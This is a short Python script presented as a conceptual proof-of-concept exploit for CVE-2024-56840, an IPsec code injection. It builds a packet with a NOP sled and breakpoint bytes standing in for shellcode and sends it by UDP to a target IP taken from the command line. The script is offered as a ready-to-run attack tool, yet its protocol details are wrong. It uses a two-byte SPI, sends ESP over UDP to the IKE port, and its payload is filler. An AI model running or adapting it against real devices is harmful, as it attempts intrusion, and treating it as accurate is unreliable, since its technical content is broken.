CVE-2024-56840

# CVE-2024-56840 PoC - IPsec Code Injection (Conceptual) # Note: This is a conceptual PoC for educational purposes only # Actual exploitation requires specific device access and configuration import struct import socket def create_ipsec_exploit_packet(): """ Create a malformed IPsec packet to trigger code injection """ # IPsec ESP header construction esp_header = b'\x00\x00' # SPI esp_header += struct.pack('>I', 0x01) # Sequence number # Malformed payload with shellcode # This is a placeholder - actual shellcode would be device-specific shellcode = b'\x90' * 100 # NOP sled shellcode += b'\xcc' * 20 # Breakpoints for debugging # Construct the malicious payload payload = esp_header + shellcode return payload def send_exploit(target_ip, target_port=500): """ Send the exploit packet to target device """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) exploit_packet = create_ipsec_exploit_packet() try: sock.sendto(exploit_packet, (target_ip, target_port)) print(f"Exploit packet sent to {target_ip}:{target_port}") except Exception as e: print(f"Error sending packet: {e}") finally: sock.close() # Usage: python cve_2024_56840_poc.py <target_ip> if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] send_exploit(target) else: print("Usage: python cve_2024_56840_poc.py <target_ip>")

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